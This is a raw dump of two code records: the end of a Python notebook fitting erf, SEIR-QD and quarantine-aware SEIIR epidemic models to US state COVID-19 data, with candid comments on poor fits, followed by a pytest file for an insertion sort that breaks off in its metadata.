('MD','Maryland'),('WI','Wisconsin'),('CO','Colorado'),('MN','Minnesota'),('SC','South Carolina'),('AL','Alabama'),('LA','Louisiana'),('KY','Kentucky'),('OR','Oregon'),\n                           ('OK','Oklahoma'),('CT','Connecticut'),('UT','Utah'),('IA','Iowa'),('NV','Nevada'),('AR','Arkansas'),('MS','Mississippi'),('KS','Kansas'),('NM','New Mexico'),('NE','Nebraska'),\n                           ('WV','West Virginia'),('ID','Idaho'),('HI','Hawaii'),('NH','New Hampshire'),('ME','Maine'),('MT','Montana'),('RI','Rhode Island'),('DE','Delaware'),('SD','South Dakota'),\n                           ('ND','North Dakota'),('AK','Alaska'),('DC','District of Columbia'),('VT','Vermont'),('WY','Wyoming'),('PR','Puerto Rico'),('VI','Virgin Islands'),('GU','Guam'),\n                           ('NMI','Northern Mariana Islands')])\n    state_to_ticker = {v: k for k, v in state_to_ticker.items()} # I accidentally typed the dictionary backwards (:\n    return state_to_ticker[state]\n\n# %% [markdown]\n# Let's also include the state ticker (i.e. Minnesota --> MN) as a column in the Pandas dataframe. (Because the US population info is given by state tickers).\n\n# %%\ndf['state_ticker'] = df.apply(lambda row: get_ticker(row.state),axis = 1)\ndf['Population'] = df.apply(lambda row: get_population(row.state_ticker), axis=1)\n\n# %% [markdown]\n#  Just checking to make sure the data is here...\n\n# %%\ndf.head()\n\n# %% [markdown]\n#  Great! Let's also make a helper function to select data from a state, starting when the pandemic hit to be able to fit models. \n#  \n#  We could change the parameter \"min_deaths\" here if we want... it seems like an arbitrary choice.\n\n# %%\n# return data ever since first min_cases cases\ndef select_region(df, region, min_deaths=50):\n    d = df.loc[df['state'] == region]\n    start = np.where(d['deaths'].values > min_deaths)[0][0]\n    d = d[start:]\n    return d\n\n# %% [markdown]\n#  ## MODEL 1 of 3: erf model\n# %% [markdown]\n#  Let's start with a simple model used in this major paper by IHME: https://www.medrxiv.org/content/10.1101/2020.03.27.20043752v1. Just fit an erf function, nothing else.\n\n# %%\nfrom scipy.special import erf\nfrom scipy.optimize import curve_fit\n\ndef erf_curve(t, logp, a, b):\n    p = 10**logp\n    deaths = p/2*(1+erf(a*(t-b)))\n    return deaths\n\ndef erf_model(params, data, future=0):\n    # initial conditions\n    p = 10**params[0]\n    a = params[1]\n    b = params[2]\n    \n    t = data['date_processed'].values\n    if future > 0:\n        extrapolation = np.arange(future)\n        t = np.concatenate((t, extrapolation + t[-1] + 1))\n    deaths = p/2*(1+erf(a*(t-b)))\n    \n    return t, deaths\n\ndef erf_fit(params, data):\n    Draw = data['deaths'].values\n    Draw[np.where(Draw < 1)] = 1\n    Ddata = Draw\n    t, Draw = erf_model(params, data)\n    Draw[np.where(Draw < 1)] = 1\n    D = Draw\n    \n    error = mse(D, Ddata)\n    \n    return error\n\n# %% [markdown]\n#  Now let's try to have something to run the fit and plot the results, including a prediction. To estimate errors, we'll use `curve_fit` and the covariance matrix it returns. Sampling parameters from a Gaussian distribution around the fit, we then bootstrap errors corresponding to 25th and 75th percentile predictions.\n# \n#  Maybe we can change the way that the quantile predictions are made. The quantile predictions get crazy later (~1e150, which is way to fucking big).\n\n# %%\nfrom bokeh.models import Span\n\ndef plot_erf_with_errors_sample(df, region, extrapolate=1, boundary=None):\n    '''\n    df: main italy data frame\n    region: string (region name)\n    extrapolate: run model on this * length of data (ex. extrapolate=1 does no prediction, extrapolate=2 predicts a time interval equal in length to the data length)\n    boundary: train model on data until the day demarcated by boundary; if boundary is None, train on all available data\n    '''\n    data = select_region(df, region)\n    keys = ['deaths', 'cases']\n    all_out = []\n    proper = []\n    for k in keys:\n        erf_params0 = [np.log10(np.max(data[k])), .1, 30]\n        y = data[k].values[:boundary]\n        popt, pcov = curve_fit(erf_curve, data['date_processed'].values[:boundary], y, p0=erf_params0)\n        errors = np.sqrt(np.diag(pcov))\n        #======BEGIN=======DEBUGGING================================================================================\n        if k == 'deaths':\n            print('popt = ', popt)\n            print('errors = ', errors)\n        #========END=========DEBUGGING================================================================================\n        all_s = []\n        samples = 100\n        for i in range(samples):\n            sample = np.random.normal(loc=popt, scale=errors)\n            t, y = erf_model(sample, data, future=len(data)*(extrapolate-1))\n            all_s.append(y)\n        \n        all_s = np.array(all_s)\n        all_out.append(all_s)\n        \n        t, y = erf_model(popt, data, future=len(data)*(extrapolate-1))\n        proper.append(y)\n    \n    t = np.arange(0, len(data))\n    tp = np.arange(0, len(data)*extrapolate)\n\n    p = bokeh.plotting.figure(plot_width=600,\n                              plot_height=400,\n                             title = region + ' erf Model',\n                             x_axis_label = 't (days)',\n                             y_axis_label = '# people')\n\n    p1 = 25\n    p2 = 75\n    p.varea(x=tp, y1=np.percentile(all_out[1], p1, axis=0), y2=np.percentile(all_out[1], p2, axis=0), color='purple', fill_alpha=0.2)\n    p.varea(x=tp, y1=np.percentile(all_out[0], p1, axis=0), y2=np.percentile(all_out[0], p2, axis=0), color='black', fill_alpha=0.2)\n    \n#     s1 = np.percentile(all_s, 40, axis=0)\n#     s2 = np.percentile(all_s, 60, axis=0)\n#     p.varea(x=tp, y1=s1[:, 2], y2=s2[:, 2], color='red', fill_alpha=0.2)\n#     p.varea(x=tp, y1=s1[:, 3], y2=s2[:, 3], color='purple', fill_alpha=0.2)\n#     p.varea(x=tp, y1=s1[:, 5], y2=s2[:, 5], color='black', fill_alpha=0.2)\n    \n    p.line(tp, proper[0], color = 'black', line_width = 1, legend_label = 'Deceased')\n    p.line(tp, proper[1] , color = 'purple', line_width = 1, legend_label = 'Symptomatic infected')\n\n    # deaths\n    p.circle(t, data[keys[0]], color ='black')\n\n    # cases\n    p.circle(t, data[keys[1]], color ='purple')\n    \n    if boundary is not None and boundary < len(data):\n        vline = Span(location=boundary, dimension='height', line_color='black', line_width=3)\n        p.renderers.extend([vline])\n\n    p.legend.location = 'top_left'\n    bokeh.io.show(p)\n\n# %% [markdown]\n#  And how well does this model do at prediction? We train it on days 0-16 (left of the vertical line), and we try to predict days afterwards.\n\n# %%\nplot_erf_with_errors_sample(df, 'Washington', 2, 10)\n\n# %% [markdown]\n#  Hm. Let's check how it performs more systematically. Let's try adjusting how long we train and predict for.\n# \n#  There is obviously some kind of fitting error that's happening here. But I don't care that much because the erf model is not even a great model.\n\n# %%\nstart = 12\nstep = 4\nind = 0\nresults = []\none_more = False\nwhile start + ind*step <= 18:\n    boundary = start + ind*step\n    plot_erf_with_errors_sample(df, 'Washington', 2, boundary)\n    ind += 1\n\n# %% [markdown]\n#  The model seems to think that the pandemic will flatten out in the next couple days. Given the earlier plots, I doubt that is right. We can check it on another region and see what happens! What regions can we choose from? We need a region with enough data.\n\n# %%\nregions = sorted(np.unique(df['state'].values)) # this is just alphabetical\nprint(regions)\nfor r in regions:\n    print(r + ' has ',[np.amax(df.loc[df['state'] == r]['cases'].values)], ' cases')\n\n# %% [markdown]\n#  The predictions look a little better for Emilia Romagna, but it appears that the error bars for anything earlier than 16-day prediction are enormous. By the time you reach 20 days, however, we only have 22 days of data, so it seems a little trivial to predict.\n\n# %%\n# start = 16\n# step = 4\n# ind = 0\n# results = []\n# one_more = False\n# while start + ind*step <= 24:\n#     boundary = start + ind*step\n#     plot_erf_with_errors_sample(df, 'Alabama', 2, boundary)\n#     ind += 1\n\n# %% [markdown]\n#  Time to move on to a more standard epidemiological model.\n# %% [markdown]\n#  ## MODEL 2 of 3: SEIR-QD model\n# %% [markdown]\n#  Ok, will this model isn't too standard. It's selected as one of the best-performing models from \"Rational evaluation of various epidemic models based on the COVID-19 data of China\" (https://www.medrxiv.org/content/10.1101/2020.03.12.20034595v1.full.pdf), where it turned out to be one of the better models in terms of early-stage data collection. It takes into effect quarantine and self-protection, but not from data; it just makes assumptions about how people behave. The differential equations can be found on page 8 of the supplement: https://www.medrxiv.org/content/medrxiv/suppl/2020/03/16/2020.03.12.20034595.DC1/2020.03.12.20034595-1.pdf. Thanks @Liana Merk for doing the initial work on this model!\n# \n#  Parameters:\n#  * $\\beta$ = infection rate, from earlier plotting, $10^{(-8)} - 10^{(-6)}$ seem reasonable.\n#  * $\\delta$ = recovery rate, which we think is on the order of 10-40 days.\n#  * $\\gamma$ = transition of exposed individuals to infected, which we aren't sure of, especially with the unknown number of asymptomatics.\n#  * $\\alpha$ = protection rate of susceptible individuals, which we also don't know, and is most likely dynamic over the course of the outbreak.\n#  * $\\lambda$ = transition rate of infected to quarantined with infection, same as above.\n#  * $\\kappa$ = death rate, which we think is around 0.01-0.06. We will leave a range between 0.01 and 0.1.\n\n# %%\ndef seirqd(dat, t, params, N):\n    beta = params[0] / N\n    delta = params[1]\n    gamma = params[2]\n    alpha = params[3]\n    lambda_ = params[4]\n    kappa = params[5]\n    \n    s = dat[0]\n    e = dat[1]\n    i = dat[2]\n    q = dat[3]\n    r = dat[4]\n    d = dat[5]\n    sa = dat[6]\n    \n    dsdt = - beta * s * i - alpha * s\n    dedt = beta * s * i - gamma * e\n    didt = gamma * e - lambda_ * i\n    dqdt = lambda_ * i - delta * q - kappa * q\n    drdt = delta * q\n    dddt = kappa * q\n    dsadt = alpha * s\n    \n    # susceptible, exposed, infected, quarantined, recovered, died, unsusceptible\n    return [dsdt, dedt, didt, dqdt, drdt, dddt, dsadt]\n\n\n# %%\nfrom sklearn.metrics import mean_squared_error\n\ndef mse_qd(A, B):\n    Ap = np.nan_to_num(A)\n    Bp = np.nan_to_num(B)\n    Ap[A == -np.inf] = 0\n    Bp[B == -np.inf] = 0\n    Ap[A == np.inf] = 0\n    Bp[B == np.inf] = 0\n    return mean_squared_error(Ap, Bp)\n\ndef model_qd(params, data, tmax=-1):\n    # initial conditions\n    N = data['Population'].values[0] # total population\n    initial_conditions = N * np.array(params[-5:]) # the parameters are a fraction of the population so multiply by the population\n    \n    # initial conditions\n    e0 = initial_conditions[0]\n    i0 = initial_conditions[1]\n    q0 = initial_conditions[2]\n    r0 = initial_conditions[3]\n    sa0 = initial_conditions[4]\n    \n    d0 = data['deaths'].values[0]\n    s0 = N - np.sum(initial_conditions) - d0\n\n    yz_0 = np.array([s0, e0, i0, q0, r0, d0, sa0])\n    \n    # Package parameters into a tuple\n    args = (params, N)\n    \n    n = len(data)\n    if tmax > 0:\n        n = tmax\n    \n    # Integrate ODEs\n    s = scipy.integrate.odeint(seirqd, yz_0, np.arange(0, n), args=args)\n\n    return s\n\ndef fit_leastsq_qd(params, data):\n    Ddata = (data['deaths'].values)\n    Idata = (data['cases'].values)\n    s = model_qd(params, data)\n\n    S = s[:,0]\n    E = s[:,1]\n    I = s[:,2]\n    Q = s[:,3]\n    R = s[:,4]\n    D = s[:,5]\n    SA = s[:,6]\n    \n    error = np.concatenate((D-Ddata, I - Idata))\n    return error\n\n# %% [markdown]\n#  Let's check if this is reasonable with a manual fit to the US state of Washington. Anyway, we need to provide the optimization method an initial guess of the parameters, so this gives us a good chance to make a reasonable guess and speed up the optimization. Some good guesses are provided by the SEIR model here: https://gabgoh.github.io/COVID/index.html.\n# \n#  NOT SURE WHY THIS FIT DOESN'T WORK WELL\n\n# %%\nget_ipython().run_line_magic('matplotlib', 'notebook')\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nplt.figure()\nd = select_region(df, 'Washington')\n# parameters: beta, delta, gamma, alpha, lambda, kappa\nparams = [2.0, 0.3, 0.2, 0.05, 0.2, 0.03]\n# parameters: beta, sigma, ra, shift\n# params = [1.1, 0.8, 0.2, 0.3]\n# conditions: E, I, Q, R, SA\ninitial_conditions = [0.5e-3, 0.5e-3, 0.3e-3, 0.1e-4, 0.5]\ns = model_qd(params + initial_conditions, d, False)\nplt.scatter(d['date_processed'], d['deaths'])\nplt.plot(d['date_processed'], s[:, 5])\nplt.show()\n\nprint('Do the initial conditions sum to one? If not, what do they physically mean?')\nprint('They sum to ',sum(initial_conditions))\n\n# %% [markdown]\n#  Looks good! How about actually fitting it now? We need a plotting function!\n# \n#  ^ DOES NOT LOOK GOOD! LOOKS BAD! Do we need to change the initial conditions? This model ends up working later, so something must change to make it work for the state of Washington.\n\n# %%\nimport itertools\n\ndef plot_qd(res, p0_params, p0_initial_conditions, df, region, extrapolate=1, boundary=None, plot_infectious=False):\n    data = select_region(df, region)\n    \n    s = model_qd(res.x, data, len(data)*extrapolate)\n    S = s[:,0]\n    E = s[:,1]\n    I = s[:,2]\n    Q = s[:,3]\n    R = s[:,4]\n    D = s[:,5]\n    SA = s[:,6]\n\n    t = np.arange(0, len(data))\n    tp = np.arange(0, len(data)*extrapolate)\n\n    p = bokeh.plotting.figure(plot_width=600,\n                              plot_height=400,\n                             title = region + ' SEIIRD+Q Model',\n                             x_axis_label = 't (days)',\n                             y_axis_label = '# people')\n\n    if plot_infectious:\n        p.line(tp, I, color = 'red', line_width = 1, legend_label = 'All infected')\n    p.line(tp, D, color = 'black', line_width = 1, legend_label = 'Deceased')\n\n    # death\n    p.circle(t, data['deaths'], color ='black')\n\n    # quarantined\n    p.circle(t, data['cases'], color ='purple', legend_label='Tested infected')\n    \n    if boundary is not None:\n        vline = Span(location=boundary, dimension='height', line_color='black', line_width=3)\n        p.renderers.extend([vline])\n\n    p.legend.location = 'top_left'\n    bokeh.io.show(p)\n\n# %% [markdown]\n#  We'll need to estimate errors from the optimization procedure. I transferred some of the relevant code from `curve_fit` to work for this kind of model:\n\n# %%\nfrom scipy.linalg import svd\n# return params, 1 standard deviation errors\ndef get_errors(res, p0):\n    p0 = np.array(p0)\n    ysize = len(res.fun)\n    cost = 2 * res.cost  # res.cost is half sum of squares!\n    popt = res.x\n    # Do Moore-Penrose inverse (Pseudoinverse) discarding zero singular values.\n    _, s, VT = svd(res.jac, full_matrices=False)\n    threshold = np.finfo(float).eps * max(res.jac.shape) * s[0]\n    s = s[s > threshold]\n    VT = VT[:s.size]\n    pcov = np.dot(VT.T / s**2, VT)\n\n    warn_cov = False\n    absolute_sigma = False\n    if pcov is None:\n        # indeterminate covariance\n        pcov = zeros((len(popt), len(popt)), dtype=float)\n        pcov.fill(inf)\n        warn_cov = True\n    elif not absolute_sigma:\n        if ysize > p0.size:\n            s_sq = cost / (ysize - p0.size)\n            pcov = pcov * s_sq\n        else:\n            pcov.fill(inf)\n            warn_cov = True\n\n    if warn_cov:\n        print('cannot estimate variance')\n        return None\n    \n    perr = np.sqrt(np.diag(pcov))\n    return perr\n\n# %% [markdown]\n#  To do the optimization, we should define reasonable ranges for the parameters as well.\n\n# %%\nparam_ranges = [(0.5, 3.0), (0.0, 0.5), (0.0, 0.5), (0.01, 0.5), (0.0, 0.5), (0.005, 0.1)]\ninitial_ranges = [(1.0e-7, 0.01), (1.0e-7, 0.01), (1.0e-7, 0.01), (1.0e-7, 0.01), (1.0e-7, 0.9)]\nguesses = params + initial_conditions\nranges = param_ranges + initial_ranges\n\n\n# %%\nfrom scipy.optimize import least_squares\nres = least_squares(fit_leastsq_qd, guesses, args=(select_region(df, 'Wisconsin'),), bounds=np.transpose(np.array(ranges)))\n\n\n# %%\nplot_qd(res, params, initial_conditions, df, 'Wisconsin', extrapolate=2, plot_infectious=True)\n\n# %% [markdown]\n#  This is quite misleading! We don't actually know how many people are infected, so this model isn't quite what we're looking for. Instead, we only know the people who were tested as infected; they usually have symptoms. I won't bother with the error analysis for this model, but we can see how it holds up to prediction.\n# \n#  HERE THE MODEL FINALLY WORKS FOR US DATA (Washington). Note that initial conditions are given here. I'm not sure where they got the initial conditions, but in the code, they are defined 5 or 6 cells above.\n\n# %%\nstart = 10\nstep = 4\nind = 0\nresults = []\none_more = False\nwhile start + ind*step <= 18:\n    boundary = start + ind*step\n    res = least_squares(fit_leastsq_qd, guesses, args=(select_region(df, 'New York')[:boundary],), bounds=np.transpose(np.array(ranges)))\n    plot_qd(res, params, initial_conditions, df, 'New York', extrapolate=2, boundary=boundary, plot_infectious=True)\n    ind += 1\n\n# %% [markdown]\n#  Despite being conceptually wrong, this produces much more satisfactory predictions of fatality rates than the erf model. The infectious predictions should be taken with a (very large) grain of salt anyway, since we know it isn't really predicting the infected population.\n# %% [markdown]\n#  ## MODEL 3 of 3: $\\mathbf{SEI_A I_S R}$ with empirical quarantine\n# %% [markdown]\n#  The motivation for this model is to add two crucial ingredients: quarantine data and asymptomatic cases. For quarantine analysis, we find an effective population size based on what fraction of the population is moving according to https://citymapper.com/cmi/milan. (Since Milan is the capital of Lombardy, we perform the analysis for that region.) To make the quarantine more realistic, we model a \"leaky\" quarantine, where the susceptible population is given by the mobility from above plus some offset. To treat asymptomatic cases, we introduce states $I_A$ (asymptomatic) and $I_S$ (symptomatic) according to the following sketch and differential equations:\n# %% [markdown]\n#  ![SEIIR + quarantine](images/overview.png)\n# %% [markdown]\n#  Since this is prototyping the model, we manually enter the chart above (raw data is at the link above) and implement it. We also have a testing function $T(t)$ (called `tau(t)` in the code) that allows us to try out different testing strategies for asymptomatic populations. Sorry about the confusing variable names below: parameters are renamed as $\\sigma\\to$ `alpha`, $s\\to$ `sigma`, and $d\\to$ `delta`. Not shown in the equations above but included in the diagram is a fixed offset (`offset`) for the leaky quarantine model.\n# \n#  ***Regarding \"TODO fix data imputation\", we need to somehow get this data based on US states. Currently, the mobility data (and therefore quarantine data) is hard coded into the vector 'moving'. I'm not sure what shift is. Some arbitrary parameter that probably also needs to be fit...\n\n# %%\n# TODO fix data imputation\ndef q(t, N, shift):\n    moving = np.array([57, 54, 52, 51, 49, 47, 46, 45, 44, 43, 39, 37, 34, 23, 19, 13, 10, 7, 6, 5, 5, 7, 6, 5, 4, 4, 3, 3, 4, 4, 3, 3, 3, 3, 2])/100 \n    q = N*(1-moving) - shift*N\n    if np.round(t) >= len(q):\n        return q[-1]\n    return q[int(np.round(t))]\n    \ndef tau(t):\n    return 0\n\ndef seiirq(dat, t, params, N, max_t, offset):\n    if t >= max_t:\n        return [0]*8\n    beta = params[0]\n    alpha = params[1] # rate from e to ia\n    sigma = params[2] # rate of asymptomatic people becoming symptotic\n    ra = params[3] # rate of asymptomatic recovery\n    rs = params[4] # rate of symptomatic recovery\n    delta = params[5] # death rate\n    shift = params[6] # shift quarantine rate vertically from CityMapper data\n    \n    s = dat[0]\n    e = dat[1]\n    i_a = dat[2]\n    i_s = dat[3]\n\n    Qind = (q(t + offset, N, shift) - tau(t + offset)*i_a)/(s + e + i_a - tau(t + offset)*i_a)\n    Qia = Qind + (1-Qind)*tau(t + offset)\n    \n    dsdt = - beta * s * i_a * (1 - Qind) * (1 - Qia) / N\n    dedt = beta * s * i_a* (1 - Qind) * (1 - Qia) / N  - alpha * e\n    diadt = alpha * e - (sigma + ra) * i_a\n    disdt = sigma * i_a - (delta + rs) * i_s\n    dddt = delta * i_s\n    drdt = ra * i_a + rs * i_s\n    \n    \n    # susceptible, exposed, infected, quarantined, recovered, died, unsusceptible\n    out = [dsdt, dedt, diadt, disdt, drdt, dddt]\n    return out\n\n\n# %%\nfrom sklearn.metrics import mean_squared_error\n\ndef mse(A, B):\n    Ap = np.nan_to_num(A)\n    Bp = np.nan_to_num(B)\n    Ap[A == -np.inf] = 0\n    Bp[B == -np.inf] = 0\n    Ap[A == np.inf] = 0\n    Bp[B == np.inf] = 0\n    return mean_squared_error(Ap, Bp)\n\ndef model_z(params, data, tmax=-1):\n    # initial conditions\n    N = data['Population'].values[0] # total population\n    initial_conditions = N * np.array(params[-4:]) # the parameters are a fraction of the population so multiply by the population\n    \n    e0 = initial_conditions[0]\n    ia0 = initial_conditions[1]\n    is0 = initial_conditions[2]\n    r0 = initial_conditions[3]\n    \n    d0 = data['deaths'].values[0]\n    s0 = N - np.sum(initial_conditions) - d0\n\n    offset = data['date_processed'].min()\n    yz_0 = np.array([s0, e0, ia0, is0, r0, d0])\n    \n    n = len(data)\n    if tmax > 0:\n        n = tmax\n    \n    # Package parameters into a tuple\n    args = (params, N, n, offset)\n    \n    # Integrate ODEs\n    try:\n        s = scipy.integrate.odeint(seiirq, yz_0, np.arange(0, n), args=args)\n    except RuntimeError:\n#         print('RuntimeError', params)\n        return np.zeros((n, len(yz_0)))\n\n    return s\n\ndef fit_leastsq_z(params, data):\n    Ddata = (data['deaths'].values)\n    Idata = (data['cases'].values)\n    s = model_z(params, data)\n\n    S = s[:,0]\n    E = s[:,1]\n    I_A = s[:,2]\n    I_S = s[:,3]\n    R = s[:,4]\n    D = s[:,5]\n    \n    error = np.concatenate(((D-Ddata), I_S - Idata))\n    return error\n\n# %% [markdown]\n#  Again, we find some good initial parameters.\n# \n#  *** We need to find some good initial parameters. ):\n\n# %%\nget_ipython().run_line_magic('matplotlib', 'notebook')\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nplt.figure()\nd = select_region(df, 'Washington')\n# parameters: beta, alpha, sigma, ra, rs, delta, shift\nparams = [1.8, 0.35, 0.1, 0.15, 0.34, 0.015, 0.5]\n# conditions: E, IA, IS, R\ninitial_conditions = [4e-6, 0.0009, 0.0005, 0.0002]\ns = model_z(params + initial_conditions, d)\nplt.scatter(d['date_processed'], d['deaths'])\nplt.plot(d['date_processed'], s[:, 5])\nplt.show()\n\n\n# %%\nimport itertools\n\ndef plot_with_errors_sample_z(res, p0_params, p0_initial_conditions, df, region, extrapolate=1, boundary=None, plot_infectious=False):\n    data = select_region(df, region)\n    errors = get_errors(res, list(p0_params) + list(p0_initial_conditions))\n    errors[len(p0_params):] = 0\n    \n    all_s = []\n    samples = 100\n    for i in range(samples):\n        sample = np.random.normal(loc=res.x, scale=errors)\n        s = model_z(sample, data, len(data)*extrapolate)\n        all_s.append(s)\n        \n    all_s = np.array(all_s)\n    \n    s = model_z(res.x, data, len(data)*extrapolate)\n    S = s[:,0]\n    E = s[:,1]\n    I_A = s[:,2]\n    I_S = s[:,3]\n    R = s[:,4]\n    D = s[:,5]\n\n    t = np.arange(0, len(data))\n    tp = np.arange(0, len(data)*extrapolate)\n\n    p = bokeh.plotting.figure(plot_width=600,\n                              plot_height=400,\n                             title = region + ' SEIIRD+Q Model',\n                             x_axis_label = 't (days)',\n                             y_axis_label = '# people')\n\n    s1 = np.percentile(all_s, 25, axis=0)\n    s2 = np.percentile(all_s, 75, axis=0)\n    if plot_infectious:\n        p.varea(x=tp, y1=s1[:, 2], y2=s2[:, 2], color='red', fill_alpha=0.2)\n    p.varea(x=tp, y1=s1[:, 3], y2=s2[:, 3], color='purple', fill_alpha=0.2)\n    p.varea(x=tp, y1=s1[:, 5], y2=s2[:, 5], color='black', fill_alpha=0.2)\n    \n    if plot_infectious:\n        p.line(tp, I_A, color = 'red', line_width = 1, legend_label = 'Asymptomatic infected')\n    p.line(tp, D, color = 'black', line_width = 1, legend_label = 'Deceased')\n    p.line(tp, I_S , color = 'purple', line_width = 1, legend_label = 'Symptomatic infected')\n\n    # death\n    p.circle(t, data['deaths'], color ='black')\n\n    # quarantined\n    p.circle(t, data['cases'], color ='purple')\n    \n    if boundary is not None:\n        vline = Span(location=boundary, dimension='height', line_color='black', line_width=3)\n        p.renderers.extend([vline])\n\n    p.legend.location = 'top_left'\n    bokeh.io.show(p)\n    return all_s,s1,s2\n\n# %% [markdown]\n#  Let's define the initial ranges of the constants for the ODE.\n\n# %%\n# beta, alpha, sigma, ra, rs, delta, shift\nparam_ranges = [(1.0, 2.0), (0.1, 0.5), (0.1, 0.5), (0.05, 0.5), (0.32, 0.36), (0.005, 0.05), (0.1, 0.6)]\ninitial_ranges = [(1.0e-7, 0.001), (1.0e-7, 0.001), (1.0e-7, 0.001), (1.0e-7, 0.001)]\n\nguesses = params + initial_conditions\nranges = param_ranges + initial_ranges\n\n\n# %%\n# beta, alpha, sigma, ra, rs, delta, shift\nparam_ranges = [(1.0, 2.0), (0.1, 0.5), (0.1, 0.5), (0.05, 0.5), (0.32, 0.36), (0.005, 0.05), (0.1, 0.6)]\ninitial_ranges = [(1.0e-7, 0.001), (1.0e-7, 0.001), (1.0e-7, 0.001), (1.0e-7, 0.001)]\n\nguesses = params + initial_conditions\nranges = param_ranges + initial_ranges\n\nboundary = 16\nres = least_squares(fit_leastsq_z, guesses, args=(select_region(df, 'Washington')[:boundary],), bounds=np.transpose(np.array(ranges)),jac = '3-point')\nall_s,s1,s2 = plot_with_errors_sample_z(res, params, initial_conditions, df, 'Washington', extrapolate=1, boundary=boundary, plot_infectious=True)\nperr = get_errors(res,np.zeros((11,1)))\nprint('parameter standard deviations = ',perr)\n\n\n# %%\nstart = 8\nstep = 4\nind = 0\nresults = []\none_more = False\nwhile start + ind*step <= 18:\n    boundary = start + ind*step\n    res = least_squares(fit_leastsq_z, guesses, args=(select_region(df, 'Washington')[:boundary],), bounds=np.transpose(np.array(ranges)),jac = '3-point')\n    plot_with_errors_sample_z(res, params, initial_conditions, df, 'Washington', extrapolate=1, boundary=boundary, plot_infectious=True)\n    ind += 1\n\n# %% [markdown]\n# ***HUUUUGE uncertainty bars. Need to figure out why. Maybe because we don't have good fit parameters, so the covariance is huge.\n# \n# \n#  Just like SEIR-QD, the predictions of cases aren't so great, although the predictions of fatalaties (which matters more and has less data bias) is reasonably accurate. The model also produces prediction that around 2/3 of the cases are asymptomatic (or at least not tested). This corresponds roughly to some recent studies, such as the 50-75% number reported after testing an entire town of 3,300 in Italy (https://www.repubblica.it/salute/medicina-e-ricerca/2020/03/16/news/coronavirus_studio_il_50-75_dei_casi_a_vo_sono_asintomatici_e_molto_contagiosi-251474302/?ref=RHPPTP-BH-I251454518-C12-P3-S2.4-T1) and similar results in Iceland (https://www.government.is/news/article/2020/03/15/Large-scale-testing-of-general-population-in-Iceland-underway/).\n\n# %%\n\n\n", "meta": {"hexsha": "8137b676d78e5edeb65a95a3422777c7f69bc33e", "size": 29545, "ext": "py", "lang": "Python", "max_stars_repo_path": "ALEX/baseline.py", "max_stars_repo_name": "aco8ogren/Tentin-Quarantino", "max_stars_repo_head_hexsha": "08b494f5deb2c33e3bb5981135c780b0a34d5557", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ALEX/baseline.py", "max_issues_repo_name": "aco8ogren/Tentin-Quarantino", "max_issues_repo_head_hexsha": "08b494f5deb2c33e3bb5981135c780b0a34d5557", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ALEX/baseline.py", "max_forks_repo_name": "aco8ogren/Tentin-Quarantino", "max_forks_repo_head_hexsha": "08b494f5deb2c33e3bb5981135c780b0a34d5557", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.1324503311, "max_line_length": 755, "alphanum_fraction": 0.6390929091, "include": true, "reason": "import numpy,import scipy,from scipy", "num_tokens": 8647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1259227615549033, "lm_q1q2_score": 0.06197768925452213}}
{"text": "from .insertion_sort import insertion_sort\nimport numpy as np\n\n\ndef test_sorted_array_returns_same_sorted_array():\n    sorted_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n    assert insertion_sort(sorted_list) == sorted_list\n\n\ndef test_backward_sorted_array_returns_sorted_array():\n    sorted_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n    backward_list = [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]\n    assert insertion_sort(backward_list) == sorted_list\n\n\ndef test_mixed_array_returns_sorted_array():\n    sorted_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n    mixed_list = [7, 5, 2, 4, 3, 8, 9, 10, 1, 6]\n    assert insertion_sort(mixed_list) == sorted_list\n\n\ndef test_mixed_string_array_returns_sorted_array():\n    sorted_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G']\n    mixed_list = ['G', 'C', 'A', 'B', 'F', 'E', 'D']\n    assert insertion_sort(mixed_list) == sorted_list\n\n\ndef test_modifies_in_place():\n    rand = [i for i in np.random.randint(1, 21, 20)]\n    assert insertion_sort(rand) == rand\n\n\ndef test_empty_array():\n    assert insertion_sort([]) == []\n\n\ndef test_single_element_array():\n    assert insertion_sort([1]) == [1]\n", "meta": {"hexsha": "c10bc2dceba20bcb39425b22d7a6fd27d88fde66", "size": 1107, "ext": "py", "lang": "Python", "max_stars_repo_path": "code-challenges/cf401/insertion_sort/test_insertion_sort.py", "max_stars_repo_name": "chrisba11/data-structures-and-algorithms", "max_stars_repo_head_hexsha": "3111ff813ba54e307d36422c04252d51e4f5cc0b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "code-challenges/cf401/insertion_sort/test_insertion_sort.py", "max_issues_repo_name": "chrisba11/data-structures-and-algorithms", "max_issues_repo_head_hexsha": "3111ff813ba54e307d36422c04252d51e4f5cc0b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2019-02-19T01:25:41.000Z", "max_issues_repo_issues_event_max_datetime": "2019-04-10T05:09:23.000Z", "max_forks_repo_path": "code-challenges/cf401/insertion_sort/test_insertion_sort.py", "max_forks_repo_name": "chrisba11/data-structures-and-algorithms", "max_forks_repo_head_hexsha": "3111ff813ba54e307d36422c04252d51e4f5cc0b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.3846153846, "max_line_length": 55, "alphanum_fraction": 0.6531165312, "include": true, "reason": "import numpy", "num_tokens": 384, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 